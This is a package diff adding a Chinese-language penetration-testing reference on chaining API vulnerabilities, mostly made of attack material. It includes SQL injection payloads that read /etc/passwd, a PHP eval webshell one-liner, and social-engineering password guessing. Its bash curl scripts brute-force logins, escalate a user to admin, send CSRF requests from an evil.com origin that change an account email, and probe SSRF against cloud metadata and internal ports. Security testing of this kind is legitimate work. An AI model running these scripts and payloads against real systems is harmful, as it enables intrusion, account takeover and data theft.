opencode-api-security-testing 3.0.10 → 3.0.11

package/references/vulnerabilities/09-vulnerability-chains.md

@@ -0,0 +1,465 @@
+# 漏洞关联联想
+
+## 1. 概述
+
+漏洞关联联想是指当发现一个漏洞时，思考该漏洞能串联哪些其他漏洞，形成攻击链。
+
+## 2. 漏洞关联矩阵
+
+| 发现的漏洞 | 可能关联的漏洞 | 利用路径 |
+|-----------|---------------|----------|
+| 用户枚举 | 暴力破解、密码重置 | 确认用户 → 定向爆破/重置 |
+| SQL注入 | 认证绕过、数据泄露 | 获取数据 → 横向移动 |
+| JWT泄露 | 越权、敏感数据 | 使用Token → 访问他人数据 |
+| IDOR | 敏感数据、垂直越权 | 遍历ID → 获取数据/提权 |
+| 文件上传 | 远程代码执行 | 上传Webshell → 服务器沦陷 |
+| SSRF | 内网渗透 | 内网探测 → Redis/MySQL利用 |
+| CORS | CSRF、数据窃取 | 跨域请求 → 窃取数据 |
+| 暴力破解 | 账户接管 | 破解密码 → 登录系统 |
+
+## 3. 攻击链模板
+
+### 3.1 信息收集 → 利用链
+
+```
+信息收集类漏洞（低难度）
+    ↓
+利用类漏洞（中高难度）
+    ↓
+数据获取/权限提升
+    ↓
+持久化/横向移动
+```
+
+### 3.2 典型攻击链
+
+```markdown
+攻击链1：用户枚举 → 暴力破解 → 越权
+├── 1. 用户枚举
+│   GET /sys/user/checkOnlyUser?username=admin
+│   → 确认 admin 存在
+├── 2. 暴力破解
+│   POST /api/login {"username":"admin","password":"admin123"}
+│   → 登录成功，获取 token
+└── 3. 越权操作
+    GET /api/user/info?userId=2
+    Headers: {"Authorization": "Bearer xxx"}
+    → 越权访问他人数据
+
+攻击链2：IDOR → 数据泄露 → 垂直越权
+├── 1. IDOR
+│   GET /api/order?orderId=100
+│   → 可遍历获取他人订单
+├── 2. 数据分析
+│   → 发现订单中有 userId 字段
+└── 3. 垂直越权
+    POST /api/user/role {"userId": 100, "role": "admin"}
+    → 提升为管理员
+
+攻击链3：SQL注入 → 文件读取 → 密钥泄露
+├── 1. SQL注入
+│   GET /api/user?id=1' AND SLEEP(5)--
+│   → 时间盲注确认注入
+├── 2. 文件读取
+│   GET /api/user?id=1' UNION SELECT 1,LOAD_FILE('/etc/passwd')--
+│   → 获取系统用户
+└── 3. SSH登录
+    ssh admin@server
+    → 服务器沦陷
+```
+
+## 4. 漏洞优先级排序
+
+### 4.1 按利用难易度
+
+| 优先级 | 漏洞类型 | 利用难度 | 说明 |
+|--------|----------|----------|------|
+| 1 | 用户枚举 | 低 | 直接请求即可确认 |
+| 2 | IDOR | 低 | 修改参数值 |
+| 3 | 敏感信息泄露 | 低 | 查看响应 |
+| 4 | 暴力破解 | 中 | 需要多次请求 |
+| 5 | JWT伪造 | 中 | 需要算法理解 |
+| 6 | SQL注入 | 中 | 需要一定技巧 |
+| 7 | 垂直越权 | 中 | 需要权限理解 |
+| 8 | 命令注入 | 高 | 需要环境配合 |
+
+### 4.2 按影响程度
+
+| 影响 | 漏洞类型 | 后果 |
+|------|----------|------|
+| 严重 | 命令注入 | 服务器完全沦陷 |
+| 严重 | SQL注入 | 数据库拖库 |
+| 严重 | 垂直越权 | 获取管理员权限 |
+| 高 | 账户接管 | 冒充用户 |
+| 高 | 敏感数据泄露 | 数据外泄 |
+| 中 | 水平越权 | 他人数据访问 |
+| 中 | CSRF | 用户操作被伪造 |
+| 低 | 信息收集 | 辅助攻击 |
+
+## 5. 单漏洞深度联想
+
+### 5.1 发现 SQL 注入后
+
+```
+SQL注入
+    ↓
+┌─────────────────────────────────────┐
+│ 1. 认证绕过                           │
+│    ' OR '1'='1 绕过登录              │
+└─────────────────────────────────────┘
+    ↓
+┌─────────────────────────────────────┐
+│ 2. 数据获取                           │
+│    UNION SELECT 获取用户表            │
+│    → 邮箱、手机号、密码Hash            │
+└─────────────────────────────────────┘
+    ↓
+┌─────────────────────────────────────┐
+│ 3. 密码破解                           │
+│    Hash → 明文（如果弱Hash）          │
+└─────────────────────────────────────┘
+    ↓
+┌─────────────────────────────────────┐
+│ 4. 横向移动                           │
+│    使用破解的密码尝试其他系统           │
+└─────────────────────────────────────┘
+```
+
+### 5.2 发现 JWT Token 后
+
+```
+JWT Token
+    ↓
+┌─────────────────────────────────────┐
+│ 1. Token 有效性验证                   │
+│    使用 Token 访问其他接口            │
+└─────────────────────────────────────┘
+    ↓
+┌─────────────────────────────────────┐
+│ 2. 权限提升                           │
+│    篡改 payload 中的 role/userId      │
+│    → 伪造 admin/提升权限             │
+└─────────────────────────────────────┘
+    ↓
+┌─────────────────────────────────────┐
+│ 3. 敏感操作                           │
+│    修改密码、删除数据、管理功能        │
+└─────────────────────────────────────┘
+```
+
+### 5.3 发现文件上传后
+
+```
+文件上传漏洞
+    ↓
+┌─────────────────────────────────────┐
+│ 1. 上传Webshell                       │
+│    <?php @eval($_POST['cmd']); ?>    │
+└─────────────────────────────────────┘
+    ↓
+┌─────────────────────────────────────┐
+│ 2. 获取webshell                       │
+│    访问上传的文件路径                 │
+└─────────────────────────────────────┘
+    ↓
+┌─────────────────────────────────────┐
+│ 3. 服务器接管                         │
+│    执行命令、读取配置文件、横向移动    │
+└─────────────────────────────────────┘
+```
+
+## 6. 漏洞组合利用
+
+### 6.1 社工+技术组合
+
+```markdown
+1. 用户枚举
+   → 确认 admin, test, developer 存在
+
+2. LinkedIn 社工
+   → 收集这些用户的公司、职位信息
+
+3. 生成社工密码
+   → Company123!, Test@2024, Dev@2024
+
+4. 暴力破解
+   → 使用社工密码提高成功率
+```
+
+### 6.2 信息泄露+越权组合
+
+```markdown
+1. Swagger 文档泄露
+   → 发现 /api/user/{id}/modify 接口
+
+2. IDOR
+   → 修改 id 参数遍历
+
+3. 结合
+   → 遍历修改所有用户信息
+```
+
+## 7. 测试检查清单
+
+```
+□ 发现漏洞后立即思考关联
+□ 绘制攻击链路径
+□ 评估每个环节的可行性
+□ 检查漏洞优先级
+□ 验证关联漏洞
+□ 输出完整攻击链报告
+```
+
+## 8. 漏洞关联快速查询表
+
+| 发现的漏洞 | 第一步 | 第二步 | 最终目标 |
+|------------|--------|--------|----------|
+| 用户枚举 | 确认用户 | 暴力破解 | 账户接管 |
+| SQL注入 | 获取数据 | 密码破解 | 横向移动 |
+| JWT | 验证Token | 权限提升 | 管理员 |
+| IDOR | 遍历ID | 数据分析 | 批量获取 |
+| SSRF | 内网探测 | 服务利用 | 内网沦陷 |
+| CORS | 窃取数据 | 社工攻击 | 账号接管 |
+| 上传 | Webshell | 命令执行 | 服务器 |
+
+## 9. curl验证示例
+
+### 9.1 攻击链1：用户枚举 → 暴力破解 → 越权
+
+```bash
+#!/bin/bash
+# 攻击链验证脚本
+
+TARGET="http://api"
+USERNAME="admin"
+
+echo "=== 攻击链1：用户枚举 → 暴力破解 → 越权 ==="
+
+# Step 1: 用户枚举
+echo "[1] 用户枚举测试"
+curl -s -X POST "$TARGET/login" \
+     -H "Content-Type: application/json" \
+     -d "{\"username\":\"$USERNAME\",\"password\":\"wrong\"}" > step1_enum.json
+
+if grep -q "密码错误" step1_enum.json; then
+    echo "  → 用户 $USERNAME 存在（密码错误）"
+elif grep -q "不存在" step1_enum.json; then
+    echo "  → 用户 $USERNAME 不存在"
+    exit 1
+fi
+
+# Step 2: 暴力破解
+echo "[2] 暴力破解测试"
+PASSWORDS=("123456" "admin" "admin123" "password" "qwerty")
+SUCCESS=false
+
+for pwd in "${PASSWORDS[@]}"; do
+    RESP=$(curl -s -X POST "$TARGET/login" \
+        -H "Content-Type: application/json" \
+        -d "{\"username\":\"$USERNAME\",\"password\":\"$pwd\"}")
+    
+    if echo "$RESP" | grep -q '"token"'; then
+        echo "  → 密码破解成功: $pwd"
+        TOKEN=$(echo "$RESP" | jq -r '.token')
+        SUCCESS=true
+        break
+    fi
+done
+
+if [ "$SUCCESS" = false ]; then
+    echo "  → 密码破解失败"
+    exit 1
+fi
+
+# Step 3: 越权操作
+echo "[3] 越权测试"
+curl -s -X GET "$TARGET/user/info?userId=2" \
+     -H "Authorization: Bearer $TOKEN" > step3_idor.json
+
+if grep -q "userId" step3_idor.json && ! grep -q "无权限" step3_idor.json; then
+    echo "  → 越权成功：访问了 userId=2 的数据"
+    cat step3_idor.json | jq .
+else
+    echo "  → 越权失败：无法访问他人数据"
+fi
+
+echo ""
+echo "=== 攻击链验证完成 ==="
+```
+
+### 9.2 攻击链2：IDOR → 数据泄露 → 垂直越权
+
+```bash
+#!/bin/bash
+# 攻击链验证脚本
+
+TARGET="http://api"
+TOKEN="user_token_here"
+
+echo "=== 攻击链2：IDOR → 数据泄露 → 垂直越权 ==="
+
+# Step 1: IDOR测试
+echo "[1] IDOR测试 - 遍历订单"
+for order_id in 100 101 102 103 104; do
+    RESP=$(curl -s -X GET "$TARGET/order?orderId=$order_id" \
+        -H "Authorization: Bearer $TOKEN")
+    
+    if echo "$RESP" | grep -q '"orderId"'; then
+        echo "  → orderId=$order_id: 可访问"
+        echo "$RESP" | jq .
+    fi
+done
+
+# Step 2: 数据分析
+echo "[2] 分析订单数据"
+echo "  → 发现订单中包含 userId 字段"
+
+# Step 3: 垂直越权
+echo "[3] 垂直越权测试 - 修改角色"
+curl -s -X POST "$TARGET/user/role" \
+     -H "Authorization: Bearer $TOKEN" \
+     -H "Content-Type: application/json" \
+     -d '{"userId": 2, "role": "admin"}' > step3_privesc.json
+
+if grep -q '"success":true' step3_privesc.json; then
+    echo "  → 垂直越权成功：已将 userId=2 提升为admin"
+    cat step3_privesc.json | jq .
+else
+    echo "  → 垂直越权失败"
+fi
+
+echo ""
+echo "=== 攻击链验证完成 ==="
+```
+
+### 9.3 攻击链3：SQL注入 → 数据获取 → 密码破解
+
+```bash
+#!/bin/bash
+# 攻击链验证脚本
+
+TARGET="http://api"
+
+echo "=== 攻击链3：SQL注入 → 数据获取 → 密码破解 ==="
+
+# Step 1: SQL注入测试
+echo "[1] SQL注入测试"
+PAYLOAD="' OR '1'='1"
+RESP=$(curl -s -X GET "$TARGET/user?id=1$PAYLOAD" \
+    -H "Content-Type: application/json")
+
+if echo "$RESP" | grep -qiE "sql|mysql|oracle|error|syntax"; then
+    echo "  → 发现SQL错误，可能存在注入"
+    echo "$RESP" | head -c 200
+else
+    echo "  → 未发现SQL错误"
+fi
+
+# Step 2: UNION注入获取数据
+echo "[2] UNION注入获取用户数据"
+PAYLOAD="' UNION SELECT 1,2,username,password,5,6,7 FROM users--"
+RESP=$(curl -s -X GET "$TARGET/user?id=1 $PAYLOAD")
+
+if echo "$RESP" | grep -q "admin\|root\|user"; then
+    echo "  → UNION注入成功，获取到用户名"
+fi
+
+# Step 3: 分析密码Hash
+echo "[3] 分析密码Hash"
+echo "  → 发现密码Hash，可尝试离线破解"
+
+echo ""
+echo "=== 攻击链验证完成 ==="
+```
+
+### 9.4 攻击链4：CORS → CSRF → 会话窃取
+
+```bash
+#!/bin/bash
+# 攻击链验证脚本
+
+TARGET="http://api"
+
+echo "=== 攻击链4：CORS → CSRF → 会话窃取 ==="
+
+# Step 1: CORS配置测试
+echo "[1] CORS配置测试"
+curl -s -I -H "Origin: https://evil.com" \
+     "$TARGET/user/info" > cors_headers.txt
+
+ACAO=$(grep -i "Access-Control-Allow-Origin:" cors_headers.txt)
+ACAC=$(grep -i "Access-Control-Allow-Credentials:" cors_headers.txt)
+
+echo "  → $ACAO"
+echo "  → $ACAC"
+
+if echo "$ACAO" | grep -q "\*"; then
+    if echo "$ACAC" | grep -q "true"; then
+        echo "  → [严重] ACAO:* + ACAC:true，可配合CSRF窃取数据"
+    else
+        echo "  → [中危] ACAO:* 但无ACAC"
+    fi
+fi
+
+# Step 2: CSRF测试
+echo "[2] CSRF测试"
+curl -s -X POST "$TARGET/user/update" \
+     -H "Origin: https://evil.com" \
+     -H "Content-Type: application/json" \
+     -d '{"userId": 1, "email": "hacked@evil.com"}' > csrf_test.json
+
+if grep -q "success" csrf_test.json; then
+    echo "  → CSRF攻击可能成功"
+else
+    echo "  → CSRF防护可能生效"
+fi
+
+echo ""
+echo "=== 攻击链验证完成 ==="
+```
+
+### 9.5 攻击链5：SSRF → 内网探测 → 服务利用
+
+```bash
+#!/bin/bash
+# 攻击链验证脚本
+
+TARGET="http://api"
+
+echo "=== 攻击链5：SSRF → 内网探测 → 服务利用 ==="
+
+# Step 1: SSRF测试
+echo "[1] SSRF测试"
+PAYLOADS=(
+    "http://127.0.0.1"
+    "http://localhost"
+    "http://169.254.169.254"
+    "http://192.168.1.1"
+)
+
+for payload in "${PAYLOADS[@]}"; do
+    RESP=$(curl -s -X GET "$TARGET/fetch?url=$payload")
+    
+    if echo "$RESP" | grep -qiE "root:|apache|nginx|mysql|redis"; then
+        echo "  → SSRF成功: $payload"
+        echo "$RESP" | head -c 300
+    elif echo "$RESP" | grep -qi "connection\|refused\|timeout"; then
+        echo "  → $payload: 连接被拒绝（可能有防护）"
+    else
+        echo "  → $payload: 无明显响应"
+    fi
+done
+
+# Step 2: 内网端口探测
+echo "[2] 内网端口探测"
+for port in 80 443 3306 6379 8080; do
+    RESP=$(curl -s -m 3 -X GET "$TARGET/fetch?url=http://127.0.0.1:$port")
+    
+    if [ $? -eq 0 ]; then
+        echo "  → 端口 $port: 开放"
+    fi
+done
+
+echo ""
+echo "=== 攻击链验证完成 ==="
+```